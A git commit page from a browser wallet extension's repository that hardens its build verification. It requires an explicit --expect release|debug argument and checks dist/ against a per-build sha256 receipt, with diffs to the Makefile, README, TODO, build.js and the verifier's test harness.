fix: verify the build against its own receipt, with the expected mode as an argument (closes #309)
All checks were successful
check / check (push) Successful in 47s
e2e / e2e-chrome (push) Successful in 1m26s
e2e / e2e-firefox (push) Successful in 44s

script/verify-build computed its expectation from AUTISTMASK_DEBUG in its own
environment, and the Makefile invoked it bare, so an operator with that flag
exported who ran the release target got a debug bundle -- every wallet it
creates carrying the publicly committed test recovery phrase -- verified green
at exit 0. The mode is now the required argument --expect release|debug, with
no default and nothing read from the environment; make build passes
--expect release on an env -u AUTISTMASK_DEBUG environment and make build-debug
passes --expect debug. The flag is deliberately still allowed to reach the
compiler, so a shell that has it exported fails make build loudly rather than
quietly receiving something other than the release build it asked for.

The other half was provenance. The check was a marker grep over a file list
read back out of dist/, so a 26-byte file containing only
autistmask-build-debug=off verified ok, manifest.json and the content script
that runs on every page were never read at all, and an entire hand-written
dist/ passed as "1 bundle(s) verified".

build.js now records every file it emits and writes a receipt of them -- path,
sha256, and whether the file is one of the bundles containing constants.js --
to a path the Makefile creates with mktemp per invocation, outside the repo,
and deletes afterwards; a receipt path inside dist/ is refused. dist/ is
cleared before a build, so it holds only what that build wrote.
dist/constants-bundles.txt is gone, and with it the standalone make verify-build
target: re-verifying a dist/ out of the dist/ itself is the thing that was
broken.

verify-build now checks the receipt's shape, then that dist/ contains nothing
the build did not emit and no symlinks, then each recorded file's bytes against
its digest and each audited bundle's marker against --expect. The guarantee is
narrow and README.md states it as such: dist/ is byte for byte the output of
the build.js run that just finished. It proves nothing about the honesty of the
source tree or of build.js, and offers nothing to a third party holding a
dist/. That is signing:
#310

script/test-verify-build goes from 18 cases to 39, extended in place: one per
demonstrated bypass, the missing/invalid argument cases, an AUTISTMASK_DEBUG=1
environment that the verifier must ignore, debug bundles that must fail
--expect release, and four checks that read the make build and make build-debug
recipes back out of make -n. The existing failure modes (grep exit-2, find's
status, newline and trailing-space paths, symlinked dist/, and the root probe
that refuses to count permission cases vacuously) are kept.

Verified: make check green (39 suites / 811 tests, 39 verify-build cases,
permission cases enabled), and green again inside the pinned image via
script/cibuild with --no-cache-filter=check, where the harness runs as root and
reports the setpriv runner rather than skipping. Non-vacuity proved by
mutation: disabling the digest comparison fails exactly the four bypass cases,
removing the dist/ walk fails the eight extra-file and symlink cases, restoring
the ambient AUTISTMASK_DEBUG fallback fails the no---expect case, breaking the
Makefile recipe fails the wiring cases, and dropping manifest.json from the
recorded emissions fails a real make build.
This commit is contained in:
2026-08-20 12:10:37 +00:00
parent c8c2af0c6b
commit 9f3cc05985
6 changed files with 1118 additions and 281 deletions

View File

@@ -1,4 +1,4 @@
.PHONY: bootstrap setup install test test-e2e test-e2e-firefox lint fmt fmt-check check check-censored docker hooks build build-debug verify-build vendor-blocklist clean dev .PHONY: bootstrap setup install test test-e2e test-e2e-firefox lint fmt fmt-check check check-censored docker hooks build build-debug vendor-blocklist clean dev
# Standard targets are thin shims; the implementations live in script/ # Standard targets are thin shims; the implementations live in script/
# per the scripts-to-rule-them-all pattern (see the Entrypoints section # per the scripts-to-rule-them-all pattern (see the Entrypoints section
@@ -47,10 +47,27 @@ docker:
hooks: hooks:
@script/install-precommit @script/install-precommit
# build.js writes a receipt of everything it emitted — every path, its sha256,
# and whether it is a bundle containing constants.js — and script/verify-build
# checks dist/ against that. The receipt is made here, fresh per invocation,
# outside the repo, and deleted again: a standing file inside dist/ would be
# rewritten by whoever rewrote dist/, which is what made the old check
# satisfiable by a hand-written tree.
#
# The expected mode is an explicit argument and AUTISTMASK_DEBUG is scrubbed
# from the verifier's environment. The script no longer reads it at all; env -u
# is here so that stays true of anything it calls. It is deliberately NOT
# scrubbed from the build itself: with AUTISTMASK_DEBUG=1 exported, this target
# compiles a debug bundle and then fails on it, loudly, rather than quietly
# handing back something other than the release build that was asked for.
build: build:
@echo "Building extension..." @echo "Building extension..."
@yarn run build 2>&1 @set -eu; \
@script/verify-build receipt="$$(mktemp "$${TMPDIR:-/tmp}/autistmask-build-receipt.XXXXXX")"; \
trap 'rm -f "$$receipt"' EXIT INT TERM; \
AUTISTMASK_BUILD_RECEIPT="$$receipt" yarn run build 2>&1; \
env -u AUTISTMASK_DEBUG script/verify-build --expect release \
--receipt "$$receipt"
@script/check-censored --require-dist @script/check-censored --require-dist
# Development-only build: enables the red DEBUG / INSECURE banner and makes # Development-only build: enables the red DEBUG / INSECURE banner and makes
@@ -58,15 +75,14 @@ build:
# distribute the artifacts this produces. # distribute the artifacts this produces.
build-debug: build-debug:
@echo "Building extension (DEBUG)..." @echo "Building extension (DEBUG)..."
@AUTISTMASK_DEBUG=1 yarn run build 2>&1 @set -eu; \
@AUTISTMASK_DEBUG=1 script/verify-build receipt="$$(mktemp "$${TMPDIR:-/tmp}/autistmask-build-receipt.XXXXXX")"; \
trap 'rm -f "$$receipt"' EXIT INT TERM; \
AUTISTMASK_DEBUG=1 AUTISTMASK_BUILD_RECEIPT="$$receipt" yarn run build 2>&1; \
env -u AUTISTMASK_DEBUG script/verify-build --expect debug \
--receipt "$$receipt"
@script/check-censored --require-dist @script/check-censored --require-dist
# Assert the compiled DEBUG state of the bundles already in dist/. Runs at
# the end of build and build-debug; separate target for re-running it alone.
verify-build:
@script/verify-build
# Refresh src/shared/phishingBlocklist.json from its hash-pinned upstream. # Refresh src/shared/phishingBlocklist.json from its hash-pinned upstream.
# Run deliberately, land the diff: the extension does no runtime fetching, so # Run deliberately, land the diff: the extension does no runtime fetching, so
# the shipped list is as fresh as the last vendoring run that was released. # the shipped list is as fresh as the last vendoring run that was released.

View File

@@ -48,28 +48,57 @@ Load the extension:
### Debug Builds ### Debug Builds
`make build` always produces a release build: the build-time `DEBUG` constant is `make build` never hands back a debug build. `make build-debug` is the only
`false`, so wallet creation uses real entropy and the red banner is off. To target that produces one:
produce a debug build instead, set `AUTISTMASK_DEBUG=1` in the environment:
```bash ```bash
make build-debug # or: AUTISTMASK_DEBUG=1 make build make build-debug
``` ```
Only the exact value `1` enables it; any other value (including unset, empty, or `AUTISTMASK_DEBUG=1` still selects the debug compile, and only the exact value
`true`) yields a release build, so a typo cannot accidentally ship the debug `1` does; any other value (including unset, empty, or `true`) yields a release
behavior. The build prints which mode it used. See the build, so a typo cannot accidentally ship the debug behavior. But it is the
compiler's input, not the verifier's: if it happens to be exported in the shell
that runs `make build`, that target compiles a debug bundle and then **fails**,
because it tells `script/verify-build` in so many words that it was supposed to
produce a release build. It used to be that the verifier read the same variable
out of its own environment, agreed with itself, and reported a debug artifact as
verified. The build prints which mode it used. See the
[DEBUG Mode Policy](#debug-mode-policy) for what the flag changes. **Never [DEBUG Mode Policy](#debug-mode-policy) for what the flag changes. **Never
distribute a debug build** — every wallet it creates gets the same publicly distribute a debug build** — every wallet it creates gets the same publicly
known test recovery phrase. known test recovery phrase.
Both builds end by running `script/verify-build`, which reads the compiled Both targets end by running `script/verify-build`, which reads the compiled
`DEBUG` state back out of the emitted bundles and fails the build if it is not `DEBUG` state back out of the emitted bundles and fails the build if it is not
the one that was asked for. The test suite cannot check this: it loads the one that was asked for. The test suite cannot check this: it loads
`src/shared/constants.js` outside a bundle, so it only ever sees the fallback `src/shared/constants.js` outside a bundle, so it only ever sees the fallback
value. The assertion is on the artifacts because that is where the property value. The assertion is on the artifacts because that is where the property
lives. lives.
### Build Receipts
`build.js` records every file it emits — path, sha256, and whether the file is
one of the bundles containing `src/shared/constants.js` — into a build receipt,
and `script/verify-build` checks `dist/` against that receipt: every recorded
file present with exactly the recorded bytes, every audited bundle carrying the
requested `DEBUG` marker, and nothing under `dist/` that the build did not
write. The `Makefile` creates the receipt path with `mktemp` per invocation,
outside the repo, and deletes it afterwards.
That is what ties the check to a build rather than to a directory. What it
establishes is narrow and worth stating exactly: `dist/` is byte for byte the
output of the `build.js` run that just finished, with nothing added, removed or
altered in between. It establishes nothing about whether the source tree or
`build.js` were honest, and it offers nothing to someone handed a `dist/` from
elsewhere — without the receipt from its own build there is no input to the
check. Verifiable provenance for a third party is signing, which this is not.
There is deliberately no target that re-verifies an existing `dist/` on its own.
The list of files to check has to come from the build that produced them; read
back out of `dist/`, it is the artifact vouching for itself, which is how a
26-byte file containing only the marker string, a hostile content script, and an
entire hand-written `dist/` all used to verify green.
## Entrypoints ## Entrypoints
This repository adheres to the This repository adheres to the
@@ -114,20 +143,26 @@ provide:
serves. Run deliberately, never as part of a build: the output is committed serves. Run deliberately, never as part of a build: the output is committed
and there is no runtime fetch, so the shipped list is as fresh as the last and there is no runtime fetch, so the shipped list is as fresh as the last
vendoring run that was released vendoring run that was released
- `script/verify-build` — assert the compiled `DEBUG` state of the bundles in - `script/verify-build --expect release|debug --receipt PATH` — assert that
`dist/`: every bundle containing `src/shared/constants.js` must have `DEBUG` `dist/` is exactly what the build that just ran emitted, and that the compiled
off, or on when `AUTISTMASK_DEBUG=1`. Run automatically at the end of `DEBUG` state of the bundles in it is the one that was asked for. Both
`make build` and `make build-debug`; fails loudly rather than passing if it arguments are required and neither has a default: the expected mode is stated
cannot determine a bundle's state. Not part of `make check`, which does not by the caller rather than read from `AUTISTMASK_DEBUG`, and the file list
depend on build artifacts existing. comes from the build's receipt rather than from `dist/` (see
[Build Receipts](#build-receipts)). Run automatically at the end of
`make build` and `make build-debug`; fails loudly rather than passing whenever
it cannot determine something. Not part of `make check`, which does not depend
on build artifacts existing.
- `script/test-verify-build` — exercise every failure mode of - `script/test-verify-build` — exercise every failure mode of
`script/verify-build` against a fixture tree in a temp dir, asserting the exit `script/verify-build` against a fixture tree in a temp dir, asserting the exit
status and the message of each. Part of `make check`; it reads no build status and the message of each, and read the `make build` and
artifacts and writes nothing under `dist/`. The cases that depend on file `make build-debug` recipes back out of `make -n` to check that they pass the
permissions cannot mean anything for a process that is not subject to them, so mode as an argument on a scrubbed environment. Part of `make check`; it reads
the harness proves its runner against a mode-000 file before counting them, no build artifacts and writes nothing under `dist/`. The cases that depend on
dropping to an unprivileged user when run as root; if it cannot, it skips file permissions cannot mean anything for a process that is not subject to
those cases and says so in a banner rather than passing them. them, so the harness proves its runner against a mode-000 file before counting
them, dropping to an unprivileged user when run as root; if it cannot, it
skips those cases and says so in a banner rather than passing them.
- `script/docker` — build the Docker image tagged via `script/projectname` - `script/docker` — build the Docker image tagged via `script/projectname`
- `script/cibuild` — CI entrypoint: plain `docker build .` - `script/cibuild` — CI entrypoint: plain `docker build .`
- `script/precommit` — run by the git pre-commit hook; runs `script/check` - `script/precommit` — run by the git pre-commit hook; runs `script/check`
@@ -140,9 +175,10 @@ The Makefile shims to those. It also carries a few targets that have no
of `script/bootstrap`. Frozen so a stale `yarn.lock` fails instead of being of `script/bootstrap`. Frozen so a stale `yarn.lock` fails instead of being
silently rewritten. Use `make setup` for a fresh clone. silently rewritten. Use `make setup` for a fresh clone.
- `make hooks` — shims to `script/install-precommit` - `make hooks` — shims to `script/install-precommit`
- `make build` — build the extension into `dist/chrome/` and `dist/firefox/` - `make build` — build the extension into `dist/chrome/` and `dist/firefox/`,
- `make build-debug` — the same build with `AUTISTMASK_DEBUG=1` (see then verify the result against the build's receipt as a release build
[Debug Builds](#debug-builds)) - `make build-debug` — the same build with `AUTISTMASK_DEBUG=1`, verified as a
debug build (see [Debug Builds](#debug-builds))
- `make clean` — remove `dist/` - `make clean` — remove `dist/`
- `make dev` — build in watch mode - `make dev` — build in watch mode

32
TODO.md
View File

@@ -25,8 +25,8 @@ pre-1.0, working towards the 1.0.0 milestone. Tagged v0.1.0 on 2026-02-27. The
milestone is in flight on `next`; its `next` -> `main` PR is milestone is in flight on `next`; its `next` -> `main` PR is
[#190](https://git.eeqj.de/sneak/AutistMask/pulls/190). `make check` verified [#190](https://git.eeqj.de/sneak/AutistMask/pulls/190). `make check` verified
green on `next` at `e9fa8be` on 2026-08-10, and `make build` produces green on `next` at `e9fa8be` on 2026-08-10, and `make build` produces
`dist/chrome/` and `dist/firefox/` with every bundle verified to have `DEBUG` `dist/chrome/` and `dist/firefox/`, verified against the build's own receipt to
compiled off. be exactly what that build emitted with `DEBUG` compiled off.
The backlog lives on the The backlog lives on the
[Gitea tracker](https://git.eeqj.de/sneak/AutistMask/issues), which is [Gitea tracker](https://git.eeqj.de/sneak/AutistMask/issues), which is
@@ -44,6 +44,34 @@ but the review is broader than any of them.
# Completed Steps # Completed Steps
- 2026-08-20: `make build` can no longer hand back a debug build, and
`script/verify-build` can no longer be satisfied by bytes the build did not
produce ([#309](https://git.eeqj.de/sneak/AutistMask/issues/309)). The
verifier used to compute its expectation from `AUTISTMASK_DEBUG` in its own
environment, so an operator with that exported who ran the release target got
a debug bundle — every wallet it creates carrying the publicly committed test
phrase — certified green at exit 0. The expected mode is now the required
argument `--expect release|debug`, with no default and nothing read from the
environment, and the `Makefile` scrubs the flag from the verifier while
deliberately leaving it reaching the compiler, so that shell fails the build
loudly instead of quietly getting something other than what it asked for.
Provenance was the other half: the check was a marker grep over a file list
read back out of `dist/`, so a 26-byte file containing only
`autistmask-build-debug=off` verified `ok`, `manifest.json` and the content
script that runs on every page were never read at all, and an entire
hand-written `dist/` passed. `build.js` now records every file it emits, with
its sha256 and whether it is one of the bundles containing `constants.js`,
into a receipt whose path the `Makefile` makes fresh per invocation outside
the repo and deletes afterwards; `dist/constants-bundles.txt` is gone, and
`dist/` is cleared before a build so it holds only what that build wrote. The
standalone `make verify-build` target went with it: re-verifying a `dist/`
from the `dist/` itself is the thing that was broken. What this establishes is
narrow and stated as such in README.md — `dist/` is byte for byte the output
of the `build.js` run that just finished — and it is not signing, which is
[#310](https://git.eeqj.de/sneak/AutistMask/issues/310).
`script/test-verify-build` grew from 18 cases to 39, including one per
demonstrated bypass and the `make -n` read-back that proves the recipes pass
the mode as an argument.
- 2026-08-20: A hostile ERC-20 symbol no longer renders as live HTML in the - 2026-08-20: A hostile ERC-20 symbol no longer renders as live HTML in the
popup ([#307](https://git.eeqj.de/sneak/AutistMask/issues/307)). A token popup ([#307](https://git.eeqj.de/sneak/AutistMask/issues/307)). A token
symbol is whatever the contract's `symbol()` returns, the block explorer symbol is whatever the contract's `symbol()` returns, the block explorer

175
build.js
View File

@@ -1,5 +1,6 @@
const fs = require("fs"); const fs = require("fs");
const path = require("path"); const path = require("path");
const crypto = require("crypto");
const { execSync } = require("child_process"); const { execSync } = require("child_process");
const esbuild = require("esbuild"); const esbuild = require("esbuild");
@@ -8,12 +9,29 @@ const DIST_CHROME = path.join(DIST, "chrome");
const DIST_FIREFOX = path.join(DIST, "firefox"); const DIST_FIREFOX = path.join(DIST, "firefox");
const SRC = path.join(__dirname, "src"); const SRC = path.join(__dirname, "src");
// The module whose compiled DEBUG state script/verify-build asserts, and the // The module whose compiled DEBUG state script/verify-build asserts. Which
// manifest naming every emitted bundle that ends up containing it. The // bundles contain it is derived from esbuild's own dependency graph rather
// manifest is derived from esbuild's own dependency graph rather than from a // than from a hardcoded list, so it tracks the bundle layout instead of
// hardcoded list, so it tracks the bundle layout instead of rotting with it. // rotting with it.
const AUDITED_MODULE = "src/shared/constants.js"; const AUDITED_MODULE = "src/shared/constants.js";
const BUNDLE_MANIFEST = path.join(DIST, "constants-bundles.txt");
// The build receipt: every file this build emits, with its sha256 and whether
// it is one of the audited bundles. script/verify-build is handed this and
// checks dist/ against it, so the file list comes from the build that just ran
// rather than being read back out of the tree it is supposed to vouch for.
//
// The path is supplied by the caller, not chosen here, and the Makefile makes
// a fresh one per invocation outside the repo: that is what ties a receipt to
// one build rather than leaving a standing file anyone can write.
const RECEIPT_HEADER = "autistmask-build-receipt v1";
const RECEIPT_ENV = "AUTISTMASK_BUILD_RECEIPT";
// Every emitted path must be plainly nameable, because the receipt is a
// line-oriented text file consumed by a POSIX shell script and a path with a
// space or a newline in it could not be read back unambiguously. Nothing this
// build emits looks like that; if that ever changes, the build fails here
// rather than writing a receipt that cannot be checked.
const SAFE_EMITTED_PATH = /^dist\/[A-Za-z0-9._][A-Za-z0-9._/-]*$/;
function ensureDir(dir) { function ensureDir(dir) {
fs.mkdirSync(dir, { recursive: true }); fs.mkdirSync(dir, { recursive: true });
@@ -31,10 +49,10 @@ function repoRelative(p) {
// searching the minified text, it does not depend on what survived minification. // searching the minified text, it does not depend on what survived minification.
// //
// The ".js" filter below is the only place that assumption lives: // The ".js" filter below is the only place that assumption lives:
// script/verify-build searches every file and symlink under dist/ for a // script/verify-build reads every file the receipt names, whatever its
// marker, without filtering by extension, and hard-fails if it cannot walk the // extension, and fails on any that carries a debug marker without being
// whole tree, so a bundle emitted under some other extension fails there as // recorded as an audited bundle — so a bundle emitted under some other
// unlisted rather than escaping both checks at once. // extension fails there rather than escaping both checks at once.
function outputsContainingAuditedModule(metafile) { function outputsContainingAuditedModule(metafile) {
return Object.entries(metafile.outputs) return Object.entries(metafile.outputs)
.filter(([outFile, info]) => { .filter(([outFile, info]) => {
@@ -46,6 +64,94 @@ function outputsContainingAuditedModule(metafile) {
.map(([outFile]) => repoRelative(outFile)); .map(([outFile]) => repoRelative(outFile));
} }
// Every file this build writes under dist/, recorded as it is written. This is
// the build's own account of what it emitted; it is never recovered by
// listing dist/, because a file that is in dist/ without this build having put
// it there is exactly what the receipt exists to expose.
const emittedFiles = [];
function recordEmitted(absPath) {
emittedFiles.push(absPath);
}
// Copying is the only other way a file reaches dist/; esbuild and the Tailwind
// CLI record their outputs where they are invoked.
function copyEmitted(src, dest) {
fs.copyFileSync(src, dest);
recordEmitted(dest);
}
function sha256File(absPath) {
return crypto
.createHash("sha256")
.update(fs.readFileSync(absPath))
.digest("hex");
}
// Write the receipt for the files this build emitted. Deliberately records no
// build mode: which mode was asked for is script/verify-build's argument, so
// build.js cannot vouch for build.js. All the receipt says is "these bytes,
// under these names, are what I wrote, and these ones bundle constants.js".
function writeReceipt(receiptPath, auditedBundles) {
const audited = new Set(auditedBundles);
const paths = [...new Set(emittedFiles.map(repoRelative))].sort();
for (const p of paths) {
if (!SAFE_EMITTED_PATH.test(p)) {
throw new Error(
`emitted path cannot be written to a build receipt: ${JSON.stringify(p)}`,
);
}
}
// A bundle esbuild reported but that nothing recorded as emitted means the
// two halves have drifted apart, and the receipt would then leave an
// audited bundle out. Fail rather than emit a short receipt.
for (const bundle of audited) {
if (!paths.includes(bundle)) {
throw new Error(
`${bundle} contains ${AUDITED_MODULE} but was not recorded as emitted`,
);
}
}
if (audited.size === 0) {
throw new Error(
`no emitted bundle contains ${AUDITED_MODULE}, which is never correct`,
);
}
const lines = [RECEIPT_HEADER, `root ${fs.realpathSync(__dirname)}`];
for (const p of paths) {
const flag = audited.has(p) ? "A" : "P";
lines.push(`file ${sha256File(path.join(__dirname, p))} ${flag} ${p}`);
}
fs.writeFileSync(receiptPath, lines.map((l) => `${l}\n`).join(""));
console.log(
`Build receipt: ${paths.length} emitted file(s), ${audited.size} ` +
`containing ${AUDITED_MODULE} (${receiptPath})`,
);
}
// Where the receipt goes, decided before anything is emitted so a build that
// cannot produce a checkable receipt fails before it writes any artifacts.
// Inside dist/ is refused: a receipt that lives in the tree it describes can
// be rewritten by whoever rewrites the tree, which is the hole this replaces.
function receiptTarget() {
const requested = process.env[RECEIPT_ENV];
if (!requested) {
return null;
}
const resolved = path.resolve(requested);
if (resolved === DIST || resolved.startsWith(DIST + path.sep)) {
throw new Error(
`${RECEIPT_ENV} points inside dist/ (${resolved}). The receipt ` +
`describes dist/ and must not live in it.`,
);
}
return resolved;
}
// DEBUG is a build-time flag, off unless explicitly requested. It is the only // DEBUG is a build-time flag, off unless explicitly requested. It is the only
// thing that makes the hardcoded test mnemonic reachable, so the opt-in must be // thing that makes the hardcoded test mnemonic reachable, so the opt-in must be
// exact: anything other than the literal "1" (unset, empty, "true", a typo) // exact: anything other than the literal "1" (unset, empty, "true", a typo)
@@ -87,6 +193,15 @@ function getBuildInfo() {
async function build() { async function build() {
console.log("Building AutistMask extension..."); console.log("Building AutistMask extension...");
const receiptPath = receiptTarget();
if (!receiptPath) {
console.warn(
`WARNING: ${RECEIPT_ENV} is unset, so this build writes no ` +
`receipt and script/verify-build cannot verify what it ` +
`emitted. Build through make build / make build-debug.`,
);
}
const buildInfo = getBuildInfo(); const buildInfo = getBuildInfo();
console.log("Build info:", buildInfo); console.log("Build info:", buildInfo);
@@ -108,19 +223,21 @@ async function build() {
}; };
// Emitted bundles that contain constants.js, accumulated across every // Emitted bundles that contain constants.js, accumulated across every
// esbuild run below and written out for script/verify-build. // esbuild run below and recorded in the receipt for script/verify-build.
const auditedBundles = []; const auditedBundles = [];
// compile tailwind CSS // compile tailwind CSS
console.log("Compiling Tailwind CSS..."); console.log("Compiling Tailwind CSS...");
const tailwindInput = path.join(SRC, "popup", "styles", "main.css"); const tailwindInput = path.join(SRC, "popup", "styles", "main.css");
const tailwindOutput = path.join(DIST, "styles.css"); const tailwindOutput = path.join(DIST, "styles.css");
// Start from an empty dist/, so what is there afterwards is what this
// build put there and nothing else. Leftovers from an earlier build are
// not covered by this build's receipt, and script/verify-build rejects
// any file it did not emit rather than ignoring it.
fs.rmSync(DIST, { recursive: true, force: true });
ensureDir(DIST); ensureDir(DIST);
// Drop any manifest from a previous build before emitting anything, so a
// build that never gets around to writing one cannot be verified against
// a stale list.
fs.rmSync(BUNDLE_MANIFEST, { force: true });
// The locally installed binary, not `npx` — npx silently fetches from the // The locally installed binary, not `npx` — npx silently fetches from the
// registry when the binary is absent, which is an unpinned network fetch // registry when the binary is absent, which is an unpinned network fetch
// in the middle of a build. // in the middle of a build.
@@ -134,6 +251,7 @@ async function build() {
`"${tailwindBin}" -i "${tailwindInput}" -o "${tailwindOutput}" --minify`, `"${tailwindBin}" -i "${tailwindInput}" -o "${tailwindOutput}" --minify`,
{ stdio: "inherit" }, { stdio: "inherit" },
); );
recordEmitted(tailwindOutput);
// Every bundle goes through here, so metafile collection cannot be // Every bundle goes through here, so metafile collection cannot be
// forgotten when a new entry point is added. // forgotten when a new entry point is added.
@@ -149,6 +267,7 @@ async function build() {
metafile: true, metafile: true,
define, define,
}); });
recordEmitted(outfile);
auditedBundles.push(...outputsContainingAuditedModule(result.metafile)); auditedBundles.push(...outputsContainingAuditedModule(result.metafile));
} }
@@ -182,39 +301,39 @@ async function build() {
); );
// copy popup HTML // copy popup HTML
fs.copyFileSync( copyEmitted(
path.join(SRC, "popup", "index.html"), path.join(SRC, "popup", "index.html"),
path.join(distDir, "src", "popup", "index.html"), path.join(distDir, "src", "popup", "index.html"),
); );
// place compiled CSS next to popup HTML // place compiled CSS next to popup HTML
fs.copyFileSync( copyEmitted(
tailwindOutput, tailwindOutput,
path.join(distDir, "src", "popup", "styles.css"), path.join(distDir, "src", "popup", "styles.css"),
); );
} }
// copy manifests // copy manifests
fs.copyFileSync( copyEmitted(
path.join(__dirname, "manifest", "chrome.json"), path.join(__dirname, "manifest", "chrome.json"),
path.join(DIST_CHROME, "manifest.json"), path.join(DIST_CHROME, "manifest.json"),
); );
fs.copyFileSync( copyEmitted(
path.join(__dirname, "manifest", "firefox.json"), path.join(__dirname, "manifest", "firefox.json"),
path.join(DIST_FIREFOX, "manifest.json"), path.join(DIST_FIREFOX, "manifest.json"),
); );
// Written last so a build that died partway through leaves no manifest // Written last so a build that died partway through leaves no receipt at
// at all, which script/verify-build treats as a hard failure rather than // all, which script/verify-build treats as a hard failure rather than as
// as "nothing to check". // "nothing to check".
const manifest = [...new Set(auditedBundles)].sort(); if (receiptPath) {
fs.writeFileSync(BUNDLE_MANIFEST, manifest.map((p) => `${p}\n`).join("")); writeReceipt(receiptPath, auditedBundles);
console.log( }
`Bundles containing ${AUDITED_MODULE}: ${manifest.length} ` +
`(listed in ${repoRelative(BUNDLE_MANIFEST)})`,
);
console.log("Build complete: dist/chrome/ and dist/firefox/"); console.log("Build complete: dist/chrome/ and dist/firefox/");
} }
build(); build().catch((err) => {
console.error(`Build failed: ${err && err.message ? err.message : err}`);
process.exit(1);
});

View File

@@ -3,11 +3,13 @@
# script/verify-build. Our own extension to scripts-to-rule-them-all, run # script/verify-build. Our own extension to scripts-to-rule-them-all, run
# from script/check so make check covers it. # from script/check so make check covers it.
# #
# Why this exists: verify-build is the build-integrity guard, and three # Why this exists: verify-build is the build-integrity guard, and four separate
# separate reviews of it each found a fresh vacuous pass — the grep exit-2 # reviews of it each found a fresh vacuous pass — the grep exit-2 conflation,
# conflation, the discarded find status, the line-delimited walk. Every one # the discarded find status, the line-delimited walk, and then the two the
# was caught by someone building a tree by hand, because nothing in make check # receipt replaced: an expectation read out of the verifier's own environment,
# could catch it. This is that hand battery, committed and automated. # and a file list read back out of the tree it was supposed to vouch for. Every
# one was caught by someone building a tree by hand, because nothing in make
# check could catch it. This is that hand battery, committed and automated.
# #
# Each case asserts the exit status AND a substring of the message. A guard # Each case asserts the exit status AND a substring of the message. A guard
# that fails for the wrong reason (right status, different fault) is itself a # that fails for the wrong reason (right status, different fault) is itself a
@@ -17,7 +19,14 @@
# the real script: verify-build takes its ROOT from dirname "$0"/.., so it # the real script: verify-build takes its ROOT from dirname "$0"/.., so it
# operates on the fixture's dist/ and never reads or writes the repo's build # operates on the fixture's dist/ and never reads or writes the repo's build
# output. The symlink rather than a copy is what makes a deliberate break in # output. The symlink rather than a copy is what makes a deliberate break in
# the real script fail here. # the real script fail here. The fixture's receipt is written from the bytes
# the fixture actually holds, exactly as a build writes one from the bytes it
# emitted; a case that means "the build emitted this" regenerates it, and a
# case that means "something changed dist/ afterwards" does not.
#
# The sha256 command is selected here independently of the one verify-build
# picks. That is deliberate: a harness that reused the implementation's helper
# would agree with it even when it is wrong.
set -eu set -eu
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)" ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
@@ -26,6 +35,8 @@ VERIFY_BUILD="$ROOT/script/verify-build"
MARKER_ON="autistmask-build-debug=on" MARKER_ON="autistmask-build-debug=on"
MARKER_OFF="autistmask-build-debug=off" MARKER_OFF="autistmask-build-debug=off"
RECEIPT_HEADER="autistmask-build-receipt v1"
NEWLINE=' NEWLINE='
' '
@@ -41,6 +52,9 @@ UNPRIV=""
PERM_ENABLED=no PERM_ENABLED=no
PERM_HOW="" PERM_HOW=""
# The sha256 command, chosen by pick_sha256_tool.
SHA256_CMD=""
WORK="" WORK=""
cleanup() { cleanup() {
@@ -54,6 +68,10 @@ trap cleanup EXIT INT TERM
WORK="$(mktemp -d "${TMPDIR:-/tmp}/autistmask-test-verify-build.XXXXXX")" WORK="$(mktemp -d "${TMPDIR:-/tmp}/autistmask-test-verify-build.XXXXXX")"
FIXTURE="$WORK/fixture" FIXTURE="$WORK/fixture"
# The build receipt for the fixture, kept outside the fixture's dist/ — and
# outside the fixture altogether — because that is where a real one lives.
RECEIPT="$WORK/receipt"
# verify-build mktemps its dist/ listing under TMPDIR. Pointing that inside # verify-build mktemps its dist/ listing under TMPDIR. Pointing that inside
# our work dir keeps the run leaving no residue, and keeps it writable for the # our work dir keeps the run leaving no residue, and keeps it writable for the
# unprivileged user the permission cases run as. # unprivileged user the permission cases run as.
@@ -65,15 +83,67 @@ chmod 755 "$WORK"
# --- fixture --------------------------------------------------------------- # --- fixture ---------------------------------------------------------------
# The emitted tree a build of this repo produces in miniature: audited bundles
# (A) that must carry a marker, and plain emitted files (P) that must not —
# including the content script, which runs on every page, and the manifest,
# neither of which the pre-receipt verifier read at all.
FIXTURE_FILES="A dist/chrome/src/popup/index.js
A dist/firefox/src/popup/index.js
P dist/chrome/src/content/index.js
P dist/chrome/manifest.json
P dist/styles.css"
FIXTURE_REAL=""
# A stand-in for an emitted bundle: some text plus one marker literal, which # A stand-in for an emitted bundle: some text plus one marker literal, which
# is all verify-build reads out of the real thing. # is all verify-build reads out of the real thing beyond its digest.
write_bundle() { write_bundle() {
printf 'var a=1;/* %s */\nvar b=2;\n' "$2" >"$1" printf 'var a=1;/* %s */\nvar b=2;\n' "$2" >"$1"
} }
# A dist/ shaped like a real build: two listed bundles under different # Digest of $1, taken with the harness's own sha256 command.
# browsers, an unlisted subtree to make unwalkable, and unlisted files that fixture_sha256() {
# carry no marker and must not be objected to. # Word-split on purpose: SHA256_CMD is a command with its arguments.
# shellcheck disable=SC2086
_fs_out="$($SHA256_CMD "$1")"
printf '%s' "${_fs_out%% *}"
}
# Write the fixture's receipt, with a substitutable header and root line so the
# cases can hand verify-build a receipt that is not one.
write_receipt_custom() {
_wrc_header="$1"
_wrc_root="$2"
chmod u+rw "$RECEIPT" 2>/dev/null || true
rm -f "$RECEIPT"
(
cd "$FIXTURE"
printf '%s\n' "$_wrc_header"
printf 'root %s\n' "$_wrc_root"
_saved_ifs="$IFS"
IFS="$NEWLINE"
for _entry in $FIXTURE_FILES; do
IFS="$_saved_ifs"
_flag="${_entry%% *}"
_path="${_entry#* }"
printf 'file %s %s %s\n' "$(fixture_sha256 "$_path")" \
"$_flag" "$_path"
IFS="$NEWLINE"
done
IFS="$_saved_ifs"
) >"$RECEIPT"
# Readable by the unprivileged user the permission cases run as, whatever
# umask this process has, until a case takes that away on purpose.
chmod 644 "$RECEIPT"
}
write_receipt() {
write_receipt_custom "$RECEIPT_HEADER" "$FIXTURE_REAL"
}
build_fixture() { build_fixture() {
chmod -R u+rwX "$FIXTURE" 2>/dev/null || true chmod -R u+rwX "$FIXTURE" 2>/dev/null || true
rm -rf "$FIXTURE" rm -rf "$FIXTURE"
@@ -87,13 +157,12 @@ build_fixture() {
write_bundle "$FIXTURE/dist/chrome/src/popup/index.js" "$MARKER_OFF" write_bundle "$FIXTURE/dist/chrome/src/popup/index.js" "$MARKER_OFF"
write_bundle "$FIXTURE/dist/firefox/src/popup/index.js" "$MARKER_OFF" write_bundle "$FIXTURE/dist/firefox/src/popup/index.js" "$MARKER_OFF"
